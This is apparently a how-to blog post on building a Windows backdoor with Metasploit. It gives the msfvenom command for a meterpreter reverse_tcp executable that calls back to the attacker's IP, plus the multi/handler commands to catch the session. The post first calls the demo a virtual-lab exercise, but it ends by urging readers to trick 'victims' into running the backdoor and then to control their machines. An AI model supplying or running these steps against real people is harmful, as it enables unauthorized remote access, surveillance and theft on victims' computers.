Hacking a PC Remotely with MetaSploit MSFVenom – Windows 10 Hacks
In order to get started with hacking a remote PC, you need following things;
- Kali Linux Operating System
- Metasploit Framework (It’s pre-packaged in Kali Linux)
- Windows OS Target Machine
This hacking demonstration is captured in a Virtual Environment which means, it doesn’t hack or harm any actual machine during the tutorial.
If you want to do the penetration testing or hacking in Virtual Environment, you need also the following things:
- VirtualBox
- Kali Linux VM Image
- Windows 10 Virtual Image
- Target Machine
Instructions to Hack a Computer Remotely
- Download and install Kali linux from their official website.
- Once Kali is installed, run the Kali Linux machine and perform an upgrade. In order to do that, just open a new terminal window and type the following command.
apt-get upgrade
- As soon as it gets updated, run the metasploit framework by typing the msfconsole in the terminal window.
- Once the Metasploit starts, create and setup the backdoor. To do so, type the following commands.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.5 -f exe -o /root/Desktop/AnyName.exe
- Replace LHOST value to your internal IP address. You can find your IP through executing a command ifconfig in a new terminal. Also you can change the save location of the backdoor to your choice. For the sake of tutorial, I am choosing Desktop.
![]()
- Next thing is to do use of the exploit handler. The exploit handler will do handle the backdoor requests. Just type the following command to run the exploit handler.
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
- See the exploit options once the exploit handler is ready.
![]()
- After setting up the listening host IP and port, just type the following command to start the exploit.
exploit -j -z
- Here comes the part of spreading your backdoor to the victims. Be a social engineer here. With just a few little social engineering techniques to make the targets to install this backdoor to their PC. As someone runs your sent backdoor. A session will start in your Metasploit terminal and you’re in…
- It’s time to play with the victim machine. Now you can play and perform any specific action to the victim device. There’s hundreds of operations you can perform on the remote target device. Some of the most common and interesting things you can perfrom on the victim device.
